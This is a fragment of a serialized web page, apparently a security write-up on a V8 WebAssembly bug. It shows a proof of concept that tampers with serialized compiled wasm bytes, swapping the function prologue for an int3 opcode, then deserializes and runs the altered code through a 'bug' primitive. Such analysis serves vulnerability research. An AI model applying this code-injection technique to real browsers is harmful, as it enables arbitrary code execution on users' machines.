inst",{"type":23,"tag":504,"props":132584,"children":132585},{"style":598},[132586],{"type":28,"value":648},{"type":23,"tag":504,"props":132588,"children":132589},{"style":511},[132590],{"type":28,"value":30911},{"type":23,"tag":504,"props":132592,"children":132593},{"style":529},[132594],{"type":28,"value":132549},{"type":23,"tag":504,"props":132596,"children":132597},{"style":523},[132598],{"type":28,"value":320},{"type":23,"tag":504,"props":132600,"children":132601},{"style":517},[132602],{"type":28,"value":132603},"Instance",{"type":23,"tag":504,"props":132605,"children":132606},{"style":523},[132607],{"type":28,"value":526},{"type":23,"tag":504,"props":132609,"children":132610},{"style":529},[132611],{"type":28,"value":132612},"mod",{"type":23,"tag":504,"props":132614,"children":132615},{"style":523},[132616],{"type":28,"value":630},{"type":23,"tag":504,"props":132618,"children":132619},{"class":506,"line":785},[132620,132624,132628,132632,132636,132640,132644,132648,132653],{"type":23,"tag":504,"props":132621,"children":132622},{"style":511},[132623],{"type":28,"value":34023},{"type":23,"tag":504,"props":132625,"children":132626},{"style":529},[132627],{"type":28,"value":78760},{"type":23,"tag":504,"props":132629,"children":132630},{"style":598},[132631],{"type":28,"value":648},{"type":23,"tag":504,"props":132633,"children":132634},{"style":529},[132635],{"type":28,"value":132582},{"type":23,"tag":504,"props":132637,"children":132638},{"style":523},[132639],{"type":28,"value":320},{"type":23,"tag":504,"props":132641,"children":132642},{"style":529},[132643],{"type":28,"value":36862},{"type":23,"tag":504,"props":132645,"children":132646},{"style":523},[132647],{"type":28,"value":320},{"type":23,"tag":504,"props":132649,"children":132650},{"style":529},[132651],{"type":28,"value":132652},"shell",{"type":23,"tag":504,"props":132654,"children":132655},{"style":523},[132656],{"type":28,"value":866},{"type":23,"tag":504,"props":132658,"children":132659},{"class":506,"line":813},[132660],{"type":23,"tag":504,"props":132661,"children":132662},{"emptyLinePlaceholder":16},[132663],{"type":28,"value":1038},{"type":23,"tag":504,"props":132665,"children":132666},{"class":506,"line":851},[132667,132671,132676,132680,132684],{"type":23,"tag":504,"props":132668,"children":132669},{"style":598},[132670],{"type":28,"value":55367},{"type":23,"tag":504,"props":132672,"children":132673},{"style":517},[132674],{"type":28,"value":132675},"WasmTierUpFunction",{"type":23,"tag":504,"props":132677,"children":132678},{"style":523},[132679],{"type":28,"value":526},{"type":23,"tag":504,"props":132681,"children":132682},{"style":529},[132683],{"type":28,"value":75051},{"type":23,"tag":504,"props":132685,"children":132686},{"style":523},[132687],{"type":28,"value":630},{"type":23,"tag":504,"props":132689,"children":132690},{"class":506,"line":869},[132691,132695,132700,132704,132709,132713,132717,132721],{"type":23,"tag":504,"props":132692,"children":132693},{"style":511},[132694],{"type":28,"value":34023},{"type":23,"tag":504,"props":132696,"children":132697},{"style":529},[132698],{"type":28,"value":132699}," serialized",{"type":23,"tag":504,"props":132701,"children":132702},{"style":598},[132703],{"type":28,"value":648},{"type":23,"tag":504,"props":132705,"children":132706},{"style":598},[132707],{"type":28,"value":132708}," %",{"type":23,"tag":504,"props":132710,"children":132711},{"style":517},[132712],{"type":28,"value":131707},{"type":23,"tag":504,"props":132714,"children":132715},{"style":523},[132716],{"type":28,"value":526},{"type":23,"tag":504,"props":132718,"children":132719},{"style":529},[132720],{"type":28,"value":132612},{"type":23,"tag":504,"props":132722,"children":132723},{"style":523},[132724],{"type":28,"value":630},{"type":23,"tag":504,"props":132726,"children":132727},{"class":506,"line":878},[132728,132732,132736,132740,132744,132748,132752,132757],{"type":23,"tag":504,"props":132729,"children":132730},{"style":511},[132731],{"type":28,"value":10769},{"type":23,"tag":504,"props":132733,"children":132734},{"style":529},[132735],{"type":28,"value":8142},{"type":23,"tag":504,"props":132737,"children":132738},{"style":598},[132739],{"type":28,"value":648},{"type":23,"tag":504,"props":132741,"children":132742},{"style":511},[132743],{"type":28,"value":30911},{"type":23,"tag":504,"props":132745,"children":132746},{"style":517},[132747],{"type":28,"value":132218},{"type":23,"tag":504,"props":132749,"children":132750},{"style":523},[132751],{"type":28,"value":526},{"type":23,"tag":504,"props":132753,"children":132754},{"style":529},[132755],{"type":28,"value":132756},"serialized",{"type":23,"tag":504,"props":132758,"children":132759},{"style":523},[132760],{"type":28,"value":630},{"type":23,"tag":504,"props":132762,"children":132763},{"class":506,"line":1221},[132764,132769,132773,132777,132781,132786,132790,132794,132798,132803,132807,132812,132816,132820,132825],{"type":23,"tag":504,"props":132765,"children":132766},{"style":529},[132767],{"type":28,"value":132768},"console",{"type":23,"tag":504,"props":132770,"children":132771},{"style":523},[132772],{"type":28,"value":320},{"type":23,"tag":504,"props":132774,"children":132775},{"style":517},[132776],{"type":28,"value":100704},{"type":23,"tag":504,"props":132778,"children":132779},{"style":523},[132780],{"type":28,"value":526},{"type":23,"tag":504,"props":132782,"children":132783},{"style":622},[132784],{"type":28,"value":132785},"'['",{"type":23,"tag":504,"props":132787,"children":132788},{"style":598},[132789],{"type":28,"value":7888},{"type":23,"tag":504,"props":132791,"children":132792},{"style":529},[132793],{"type":28,"value":8142},{"type":23,"tag":504,"props":132795,"children":132796},{"style":523},[132797],{"type":28,"value":320},{"type":23,"tag":504,"props":132799,"children":132800},{"style":517},[132801],{"type":28,"value":132802},"join",{"type":23,"tag":504,"props":132804,"children":132805},{"style":523},[132806],{"type":28,"value":526},{"type":23,"tag":504,"props":132808,"children":132809},{"style":622},[132810],{"type":28,"value":132811},"', '",{"type":23,"tag":504,"props":132813,"children":132814},{"style":523},[132815],{"type":28,"value":2064},{"type":23,"tag":504,"props":132817,"children":132818},{"style":598},[132819],{"type":28,"value":1642},{"type":23,"tag":504,"props":132821,"children":132822},{"style":622},[132823],{"type":28,"value":132824}," ']'",{"type":23,"tag":504,"props":132826,"children":132827},{"style":523},[132828],{"type":28,"value":630},{"type":23,"tag":24,"props":132830,"children":132831},{},[132832],{"type":28,"value":132833},"This produces the following output:",{"type":23,"tag":494,"props":132835,"children":132837},{"code":132836},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[132838],{"type":23,"tag":56,"props":132839,"children":132840},{"__ignoreMap":7},[132841],{"type":28,"value":132836},{"type":23,"tag":24,"props":132843,"children":132844},{},[132845,132847,132853,132855,132861,132863,132869,132870,132876,132878,132883],{"type":28,"value":132846},"The bytes ",{"type":23,"tag":56,"props":132848,"children":132850},{"className":132849},[],[132851],{"type":28,"value":132852},"85, 72, 137, 229, ...",{"type":28,"value":132854}," correspond to the x86-64 function prologue (",{"type":23,"tag":56,"props":132856,"children":132858},{"className":132857},[],[132859],{"type":28,"value":132860},"push rbp; mov rbp, rsp",{"type":28,"value":132862},"). We replace the first byte with ",{"type":23,"tag":56,"props":132864,"children":132866},{"className":132865},[],[132867],{"type":28,"value":132868},"0xcc",{"type":28,"value":15438},{"type":23,"tag":56,"props":132871,"children":132873},{"className":132872},[],[132874],{"type":28,"value":132875},"int3",{"type":28,"value":132877}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":56,"props":132879,"children":132881},{"className":132880},[],[132882],{"type":28,"value":131681},{"type":28,"value":3472},{"type":23,"tag":494,"props":132885,"children":132887},{"code":132886,"language":34592,"meta":7,"className":34590,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[132888],{"type":23,"tag":56,"props":132889,"children":132890},{"__ignoreMap":7},[132891,132914,132941,133161,133228,133236,133263,133477,133729,133980,134206,134450,134670,134677,134726,134771,134815,134854,134866],{"type":23,"tag":504,"props":132892,"children":132893},{"class":506,"line":507},[132894,132898,132902,132906,132910],{"type":23,"tag":504,"props":132895,"children":132896},{"style":523},[132897],{"type":28,"value":526},{"type":23,"tag":504,"props":132899,"children":132900},{"style":511},[132901],{"type":28,"value":35122},{"type":23,"tag":504,"props":132903,"children":132904},{"style":523},[132905],{"type":28,"value":38672},{"type":23,"tag":504,"props":132907,"children":132908},{"style":511},[132909],{"type":28,"value":13802},{"type":23,"tag":504,"props":132911,"children":132912},{"style":523},[132913],{"type":28,"value":552},{"type":23,"tag":504,"props":132915,"children":132916},{"class":506,"line":540},[132917,132921,132925,132929,132933,132937],{"type":23,"tag":504,"props":132918,"children":132919},{"style":511},[132920],{"type":28,"value":35165},{"type":23,"tag":504,"props":132922,"children":132923},{"style":529},[132924],{"type":28,"value":132205},{"type":23,"tag":504,"props":132926,"children":132927},{"style":598},[132928],{"type":28,"value":648},{"type":23,"tag":504,"props":132930,"children":132931},{"style":511},[132932],{"type":28,"value":30911},{"type":23,"tag":504,"props":132934,"children":132935},{"style":517},[132936],{"type":28,"value":132218},{"type":23,"tag":504,"props":132938,"children":132939},{"style":523},[132940],{"type":28,"value":132223},{"type":23,"tag":504,"props":132942,"children":132943},{"class":506,"line":555},[132944,132949,132953,132957,132961,132965,132969,132973,132977,132981,132985,132989,132993,132997,133001,133005,133009,133013,133017,133021,133025,133029,133033,133037,133041,133045,133049,133053,133057,133061,133065,133069,133073,133077,133081,133085,133089,133093,133097,133101,133105,133109,133113,133117,133121,133125,133129,133133,133137,133141,133145,133149,133153,133157],{"type":23,"tag":504,"props":132945,"children":132946},{"style":1440},[132947],{"type":28,"value":132948},"    0",{"type":23,"tag":504,"props":132950,"children":132951},{"style":523},[132952],{"type":28,"value":576},{"type":23,"tag":504,"props":132954,"children":132955},{"style":1440},[132956],{"type":28,"value":132240},{"type":23,"tag":504,"props":132958,"children":132959},{"style":523},[132960],{"type":28,"value":576},{"type":23,"tag":504,"props":132962,"children":132963},{"style":1440},[132964],{"type":28,"value":132249},{"type":23,"tag":504,"props":132966,"children":132967},{"style":523},[132968],{"type":28,"value":576},{"type":23,"tag":504,"props":132970,"children":132971},{"style":1440},[132972],{"type":28,"value":132258},{"type":23,"tag":504,"props":132974,"children":132975},{"style":523},[132976],{"type":28,"value":576},{"type":23,"tag":504,"props":132978,"children":132979},{"style":1440},[132980],{"type":28,"value":2991},{"type":23,"tag":504,"props":132982,"children":132983},{"style":523},[132984],{"type":28,"value":576},{"type":23,"tag":504,"props":132986,"children":132987},{"style":1440},[132988],{"type":28,"value":3001},{"type":23,"tag":504,"props":132990,"children":132991},{"style":523},[132992],{"type":28,"value":576},{"type":23,"tag":504,"props":132994,"children":132995},{"style":1440},[132996],{"type":28,"value":3001},{"type":23,"tag":504,"props":132998,"children":132999},{"style":523},[133000],{"type":28,"value":576},{"type":23,"tag":504,"props":133002,"children":133003},{"style":1440},[133004],{"type":28,"value":3001},{"type":23,"tag":504,"props":133006,"children":133007},{"style":523},[133008],{"type":28,"value":576},{"type":23,"tag":504,"props":133010,"children":133011},{"style":1440},[133012],{"type":28,"value":2991},{"type":23,"tag":504,"props":133014,"children":133015},{"style":523},[133016],{"type":28,"value":576},{"type":23,"tag":504,"props":133018,"children":133019},{"style":1440},[133020],{"type":28,"value":16508},{"type":23,"tag":504,"props":133022,"children":133023},{"style":523},[133024],{"type":28,"value":576},{"type":23,"tag":504,"props":133026,"children":133027},{"style":1440},[133028],{"type":28,"value":2991},{"type":23,"tag":504,"props":133030,"children":133031},{"style":523},[133032],{"type":28,"value":576},{"type":23,"tag":504,"props":133034,"children":133035},{"style":1440},[133036],{"type":28,"value":132323},{"type":23,"tag":504,"props":133038,"children":133039},{"style":523},[133040],{"type":28,"value":576},{"type":23,"tag":504,"props":133042,"children":133043},{"style":1440},[133044],{"type":28,"value":3001},{"type":23,"tag":504,"props":133046,"children":133047},{"style":523},[133048],{"type":28,"value":576},{"type":23,"tag":504,"props":133050,"children":133051},{"style":1440},[133052],{"type":28,"value":3001},{"type":23,"tag":504,"props":133054,"children":133055},{"style":523},[133056],{"type":28,"value":576},{"type":23,"tag":504,"props":133058,"children":133059},{"style":1440},[133060],{"type":28,"value":16275},{"type":23,"tag":504,"props":133062,"children":133063},{"style":523},[133064],{"type":28,"value":576},{"type":23,"tag":504,"props":133066,"children":133067},{"style":1440},[133068],{"type":28,"value":2100},{"type":23,"tag":504,"props":133070,"children":133071},{"style":523},[133072],{"type":28,"value":576},{"type":23,"tag":504,"props":133074,"children":133075},{"style":1440},[133076],{"type":28,"value":2991},{"type":23,"tag":504,"props":133078,"children":133079},{"style":523},[133080],{"type":28,"value":576},{"type":23,"tag":504,"props":133082,"children":133083},{"style":1440},[133084],{"type":28,"value":3001},{"type":23,"tag":504,"props":133086,"children":133087},{"style":523},[133088],{"type":28,"value":576},{"type":23,"tag":504,"props":133090,"children":133091},{"style":1440},[133092],{"type":28,"value":53649},{"type":23,"tag":504,"props":133094,"children":133095},{"style":523},[133096],{"type":28,"value":576},{"type":23,"tag":504,"props":133098,"children":133099},{"style":1440},[133100],{"type":28,"value":54864},{"type":23,"tag":504,"props":133102,"children":133103},{"style":523},[133104],{"type":28,"value":576},{"type":23,"tag":504,"props":133106,"children":133107},{"style":1440},[133108],{"type":28,"value":2991},{"type":23,"tag":504,"props":133110,"children":133111},{"style":523},[133112],{"type":28,"value":576},{"type":23,"tag":504,"props":133114,"children":133115},{"style":1440},[133116],{"type":28,"value":17089},{"type":23,"tag":504,"props":133118,"children":133119},{"style":523},[133120],{"type":28,"value":576},{"type":23,"tag":504,"props":133122,"children":133123},{"style":1440},[133124],{"type":28,"value":132249},{"type":23,"tag":504,"props":133126,"children":133127},{"style":523},[133128],{"type":28,"value":576},{"type":23,"tag":504,"props":133130,"children":133131},{"style":1440},[133132],{"type":28,"value":132420},{"type":23,"tag":504,"props":133134,"children":133135},{"style":523},[133136],{"type":28,"value":576},{"type":23,"tag":504,"props":133138,"children":133139},{"style":1440},[133140],{"type":28,"value":132429},{"type":23,"tag":504,"props":133142,"children":133143},{"style":523},[133144],{"type":28,"value":576},{"type":23,"tag":504,"props":133146,"children":133147},{"style":1440},[133148],{"type":28,"value":132438},{"type":23,"tag":504,"props":133150,"children":133151},{"style":523},[133152],{"type":28,"value":576},{"type":23,"tag":504,"props":133154,"children":133155},{"style":1440},[133156],{"type":28,"value":132438},{"type":23,"tag":504,"props":133158,"children":133159},{"style":523},[133160],{"type":28,"value":2484},{"type":23,"tag":504,"props":133162,"children":133163},{"class":506,"line":633},[133164,133168,133172,133176,133180,133184,133188,133192,133196,133200,133204,133208,133212,133216,133220,133224],{"type":23,"tag":504,"props":133165,"children":133166},{"style":1440},[133167],{"type":28,"value":132948},{"type":23,"tag":504,"props":133169,"children":133170},{"style":523},[133171],{"type":28,"value":576},{"type":23,"tag":504,"props":133173,"children":133174},{"style":1440},[133175],{"type":28,"value":3001},{"type":23,"tag":504,"props":133177,"children":133178},{"style":523},[133179],{"type":28,"value":576},{"type":23,"tag":504,"props":133181,"children":133182},{"style":1440},[133183],{"type":28,"value":88004},{"type":23,"tag":504,"props":133185,"children":133186},{"style":523},[133187],{"type":28,"value":576},{"type":23,"tag":504,"props":133189,"children":133190},{"style":1440},[133191],{"type":28,"value":16508},{"type":23,"tag":504,"props":133193,"children":133194},{"style":523},[133195],{"type":28,"value":576},{"type":23,"tag":504,"props":133197,"children":133198},{"style":1440},[133199],{"type":28,"value":2991},{"type":23,"tag":504,"props":133201,"children":133202},{"style":523},[133203],{"type":28,"value":576},{"type":23,"tag":504,"props":133205,"children":133206},{"style":1440},[133207],{"type":28,"value":2100},{"type":23,"tag":504,"props":133209,"children":133210},{"style":523},[133211],{"type":28,"value":576},{"type":23,"tag":504,"props":133213,"children":133214},{"style":1440},[133215],{"type":28,"value":3001},{"type":23,"tag":504,"props":133217,"children":133218},{"style":523},[133219],{"type":28,"value":576},{"type":23,"tag":504,"props":133221,"children":133222},{"style":1440},[133223],{"type":28,"value":132514},{"type":23,"tag":504,"props":133225,"children":133226},{"style":523},[133227],{"type":28,"value":2484},{"type":23,"tag":504,"props":133229,"children":133230},{"class":506,"line":687},[133231],{"type":23,"tag":504,"props":133232,"children":133233},{"style":523},[133234],{"type":28,"value":133235},"  ]);\n",{"type":23,"tag":504,"props":133237,"children":133238},{"class":506,"line":736},[133239,133243,133247,133251,133255,133259],{"type":23,"tag":504,"props":133240,"children":133241},{"style":511},[133242],{"type":28,"value":35165},{"type":23,"tag":504,"props":133244,"children":133245},{"style":529},[133246],{"type":28,"value":124018},{"type":23,"tag":504,"props":133248,"children":133249},{"style":598},[133250],{"type":28,"value":648},{"type":23,"tag":504,"props":133252,"children":133253},{"style":511},[133254],{"type":28,"value":30911},{"type":23,"tag":504,"props":133256,"children":133257},{"style":517},[133258],{"type":28,"value":132218},{"type":23,"tag":504,"props":133260,"children":133261},{"style":523},[133262],{"type":28,"value":132223},{"type":23,"tag":504,"props":133264,"children":133265},{"class":506,"line":785},[133266,133271,133275,133279,133283,133288,133292,133297,133301,133306,133310,133315,133319,133324,133328,133333,133337,133342,133346,133351,133355,133359,133363,133367,133371,133376,133380,133385,133389,133393,133397,133401,133405,133409,133413,133417,133421,133425,133429,133433,133437,133441,133445,133449,133453,133457,133461,133465,133469,133473],{"type":23,"tag":504,"props":133267,"children":133268},{"style":1440},[133269],{"type":28,"value":133270},"    147",{"type":23,"tag":504,"props":133272,"children":133273},{"style":523},[133274],{"type":28,"value":576},{"type":23,"tag":504,"props":133276,"children":133277},{"style":1440},[133278],{"type":28,"value":17400},{"type":23,"tag":504,"props":133280,"children":133281},{"style":523},[133282],{"type":28,"value":576},{"type":23,"tag":504,"props":133284,"children":133285},{"style":1440},[133286],{"type":28,"value":133287},"222",{"type":23,"tag":504,"props":133289,"children":133290},{"style":523},[133291],{"type":28,"value":576},{"type":23,"tag":504,"props":133293,"children":133294},{"style":1440},[133295],{"type":28,"value":133296},"192",{"type":23,"tag":504,"props":133298,"children":133299},{"style":523},[133300],{"type":28,"value":576},{"type":23,"tag":504,"props":133302,"children":133303},{"style":1440},[133304],{"type":28,"value":133305},"20",{"type":23,"tag":504,"props":133307,"children":133308},{"style":523},[133309],{"type":28,"value":576},{"type":23,"tag":504,"props":133311,"children":133312},{"style":1440},[133313],{"type":28,"value":133314},"119",{"type":23,"tag":504,"props":133316,"children":133317},{"style":523},[133318],{"type":28,"value":576},{"type":23,"tag":504,"props":133320,"children":133321},{"style":1440},[133322],{"type":28,"value":133323},"44",{"type":23,"tag":504,"props":133325,"children":133326},{"style":523},[133327],{"type":28,"value":576},{"type":23,"tag":504,"props":133329,"children":133330},{"style":1440},[133331],{"type":28,"value":133332},"43",{"type":23,"tag":504,"props":133334,"children":133335},{"style":523},[133336],{"type":28,"value":576},{"type":23,"tag":504,"props":133338,"children":133339},{"style":1440},[133340],{"type":28,"value":133341},"127",{"type":23,"tag":504,"props":133343,"children":133344},{"style":523},[133345],{"type":28,"value":576},{"type":23,"tag":504,"props":133347,"children":133348},{"style":1440},[133349],{"type":28,"value":133350},"62",{"type":23,"tag":504,"props":133352,"children":133353},{"style":523},[133354],{"type":28,"value":576},{"type":23,"tag":504,"props":133356,"children":133357},{"style":1440},[133358],{"type":28,"value":16275},{"type":23,"tag":504,"props":133360,"children":133361},{"style":523},[133362],{"type":28,"value":576},{"type":23,"tag":504,"props":133364,"children":133365},{"style":1440},[133366],{"type":28,"value":3001},{"type":23,"tag":504,"props":133368,"children":133369},{"style":523},[133370],{"type":28,"value":576},{"type":23,"tag":504,"props":133372,"children":133373},{"style":1440},[133374],{"type":28,"value":133375},"159",{"type":23,"tag":504,"props":133377,"children":133378},{"style":523},[133379],{"type":28,"value":576},{"type":23,"tag":504,"props":133381,"children":133382},{"style":1440},[133383],{"type":28,"value":133384},"206",{"type":23,"tag":504,"props":133386,"children":133387},{"style":523},[133388],{"type":28,"value":576},{"type":23,"tag":504,"props":133390,"children":133391},{"style":1440},[133392],{"type":28,"value":43128},{"type":23,"tag":504,"props":133394,"children":133395},{"style":523},[133396],{"type":28,"value":576},{"type":23,"tag":504,"props":133398,"children":133399},{"style":1440},[133400],{"type":28,"value":133332},{"type":23,"tag":504,"props":133402,"children":133403},{"style":523},[133404],{"type":28,"value":576},{"type":23,"tag":504,"props":133406,"children":133407},{"style":1440},[133408],{"type":28,"value":3001},{"type":23,"tag":504,"props":133410,"children":133411},{"style":523},[133412],{"type":28,"value":576},{"type":23,"tag":504,"props":133414,"children":133415},{"style":1440},[133416],{"type":28,"value":3001},{"type":23,"tag":504,"props":133418,"children":133419},{"style":523},[133420],{"type":28,"value":576},{"type":23,"tag":504,"props":133422,"children":133423},{"style":1440},[133424],{"type":28,"value":16275},{"type":23,"tag":504,"props":133426,"children":133427},{"style":523},[133428],{"type":28,"value":576},{"type":23,"tag":504,"props":133430,"children":133431},{"style":1440},[133432],{"type":28,"value":3001},{"type":23,"tag":504,"props":133434,"children":133435},{"style":523},[133436],{"type":28,"value":576},{"type":23,"tag":504,"props":133438,"children":133439},{"style":1440},[133440],{"type":28,"value":3001},{"type":23,"tag":504,"props":133442,"children":133443},{"style":523},[133444],{"type":28,"value":576},{"type":23,"tag":504,"props":133446,"children":133447},{"style":1440},[133448],{"type":28,"value":3001},{"type":23,"tag":504,"props":133450,"children":133451},{"style":523},[133452],{"type":28,"value":576},{"type":23,"tag":504,"props":133454,"children":133455},{"style":1440},[133456],{"type":28,"value":3001},{"type":23,"tag":504,"props":133458,"children":133459},{"style":523},[133460],{"type":28,"value":576},{"type":23,"tag":504,"props":133462,"children":133463},{"style":1440},[133464],{"type":28,"value":3001},{"type":23,"tag":504,"props":133466,"children":133467},{"style":523},[133468],{"type":28,"value":576},{"type":23,"tag":504,"props":133470,"children":133471},{"style":1440},[133472],{"type":28,"value":28404},{"type":23,"tag":504,"props":133474,"children":133475},{"style":523},[133476],{"type":28,"value":2484},{"type":23,"tag":504,"props":133478,"children":133479},{"class":506,"line":813},[133480,133484,133488,133492,133496,133500,133504,133508,133512,133516,133520,133524,133528,133532,133536,133540,133544,133548,133552,133556,133560,133564,133568,133572,133576,133580,133584,133588,133592,133596,133600,133604,133608,133612,133616,133621,133625,133629,133633,133637,133641,133645,133649,133653,133657,133661,133665,133669,133673,133677,133681,133685,133689,133693,133697,133701,133705,133709,133713,133717,133721,133725],{"type":23,"tag":504,"props":133481,"children":133482},{"style":1440},[133483],{"type":28,"value":132948},{"type":23,"tag":504,"props":133485,"children":133486},{"style":523},[133487],{"type":28,"value":576},{"type":23,"tag":504,"props":133489,"children":133490},{"style":1440},[133491],{"type":28,"value":3001},{"type":23,"tag":504,"props":133493,"children":133494},{"style":523},[133495],{"type":28,"value":576},{"type":23,"tag":504,"props":133497,"children":133498},{"style":1440},[133499],{"type":28,"value":3001},{"type":23,"tag":504,"props":133501,"children":133502},{"style":523},[133503],{"type":28,"value":576},{"type":23,"tag":504,"props":133505,"children":133506},{"style":1440},[133507],{"type":28,"value":3001},{"type":23,"tag":504,"props":133509,"children":133510},{"style":523},[133511],{"type":28,"value":576},{"type":23,"tag":504,"props":133513,"children":133514},{"style":1440},[133515],{"type":28,"value":3001},{"type":23,"tag":504,"props":133517,"children":133518},{"style":523},[133519],{"type":28,"value":576},{"type":23,"tag":504,"props":133521,"children":133522},{"style":1440},[133523],{"type":28,"value":3001},{"type":23,"tag":504,"props":133525,"children":133526},{"style":523},[133527],{"type":28,"value":576},{"type":23,"tag":504,"props":133529,"children":133530},{"style":1440},[133531],{"type":28,"value":3001},{"type":23,"tag":504,"props":133533,"children":133534},{"style":523},[133535],{"type":28,"value":576},{"type":23,"tag":504,"props":133537,"children":133538},{"style":1440},[133539],{"type":28,"value":2991},{"type":23,"tag":504,"props":133541,"children":133542},{"style":523},[133543],{"type":28,"value":576},{"type":23,"tag":504,"props":133545,"children":133546},{"style":1440},[133547],{"type":28,"value":3001},{"type":23,"tag":504,"props":133549,"children":133550},{"style":523},[133551],{"type":28,"value":576},{"type":23,"tag":504,"props":133553,"children":133554},{"style":1440},[133555],{"type":28,"value":3001},{"type":23,"tag":504,"props":133557,"children":133558},{"style":523},[133559],{"type":28,"value":576},{"type":23,"tag":504,"props":133561,"children":133562},{"style":1440},[133563],{"type":28,"value":3001},{"type":23,"tag":504,"props":133565,"children":133566},{"style":523},[133567],{"type":28,"value":576},{"type":23,"tag":504,"props":133569,"children":133570},{"style":1440},[133571],{"type":28,"value":3001},{"type":23,"tag":504,"props":133573,"children":133574},{"style":523},[133575],{"type":28,"value":576},{"type":23,"tag":504,"props":133577,"children":133578},{"style":1440},[133579],{"type":28,"value":3001},{"type":23,"tag":504,"props":133581,"children":133582},{"style":523},[133583],{"type":28,"value":576},{"type":23,"tag":504,"props":133585,"children":133586},{"style":1440},[133587],{"type":28,"value":3001},{"type":23,"tag":504,"props":133589,"children":133590},{"style":523},[133591],{"type":28,"value":576},{"type":23,"tag":504,"props":133593,"children":133594},{"style":1440},[133595],{"type":28,"value":3001},{"type":23,"tag":504,"props":133597,"children":133598},{"style":523},[133599],{"type":28,"value":576},{"type":23,"tag":504,"props":133601,"children":133602},{"style":1440},[133603],{"type":28,"value":3001},{"type":23,"tag":504,"props":133605,"children":133606},{"style":523},[133607],{"type":28,"value":576},{"type":23,"tag":504,"props":133609,"children":133610},{"style":1440},[133611],{"type":28,"value":16508},{"type":23,"tag":504,"props":133613,"children":133614},{"style":523},[133615],{"type":28,"value":576},{"type":23,"tag":504,"props":133617,"children":133618},{"style":1440},[133619],{"type":28,"value":133620},"28",{"type":23,"tag":504,"props":133622,"children":133623},{"style":523},[133624],{"type":28,"value":576},{"type":23,"tag":504,"props":133626,"children":133627},{"style":1440},[133628],{"type":28,"value":3001},{"type":23,"tag":504,"props":133630,"children":133631},{"style":523},[133632],{"type":28,"value":576},{"type":23,"tag":504,"props":133634,"children":133635},{"style":1440},[133636],{"type":28,"value":3001},{"type":23,"tag":504,"props":133638,"children":133639},{"style":523},[133640],{"type":28,"value":576},{"type":23,"tag":504,"props":133642,"children":133643},{"style":1440},[133644],{"type":28,"value":3001},{"type":23,"tag":504,"props":133646,"children":133647},{"style":523},[133648],{"type":28,"value":576},{"type":23,"tag":504,"props":133650,"children":133651},{"style":1440},[133652],{"type":28,"value":39821},{"type":23,"tag":504,"props":133654,"children":133655},{"style":523},[133656],{"type":28,"value":576},{"type":23,"tag":504,"props":133658,"children":133659},{"style":1440},[133660],{"type":28,"value":3001},{"type":23,"tag":504,"props":133662,"children":133663},{"style":523},[133664],{"type":28,"value":576},{"type":23,"tag":504,"props":133666,"children":133667},{"style":1440},[133668],{"type":28,"value":3001},{"type":23,"tag":504,"props":133670,"children":133671},{"style":523},[133672],{"type":28,"value":576},{"type":23,"tag":504,"props":133674,"children":133675},{"style":1440},[133676],{"type":28,"value":3001},{"type":23,"tag":504,"props":133678,"children":133679},{"style":523},[133680],{"type":28,"value":576},{"type":23,"tag":504,"props":133682,"children":133683},{"style":1440},[133684],{"type":28,"value":133620},{"type":23,"tag":504,"props":133686,"children":133687},{"style":523},[133688],{"type":28,"value":576},{"type":23,"tag":504,"props":133690,"children":133691},{"style":1440},[133692],{"type":28,"value":3001},{"type":23,"tag":504,"props":133694,"children":133695},{"style":523},[133696],{"type":28,"value":576},{"type":23,"tag":504,"props":133698,"children":133699},{"style":1440},[133700],{"type":28,"value":3001},{"type":23,"tag":504,"props":133702,"children":133703},{"style":523},[133704],{"type":28,"value":576},{"type":23,"tag":504,"props":133706,"children":133707},{"style":1440},[133708],{"type":28,"value":3001},{"type":23,"tag":504,"props":133710,"children":133711},{"style":523},[133712],{"type":28,"value":576},{"type":23,"tag":504,"props":133714,"children":133715},{"style":1440},[133716],{"type":28,"value":133620},{"type":23,"tag":504,"props":133718,"children":133719},{"style":523},[133720],{"type":28,"value":576},{"type":23,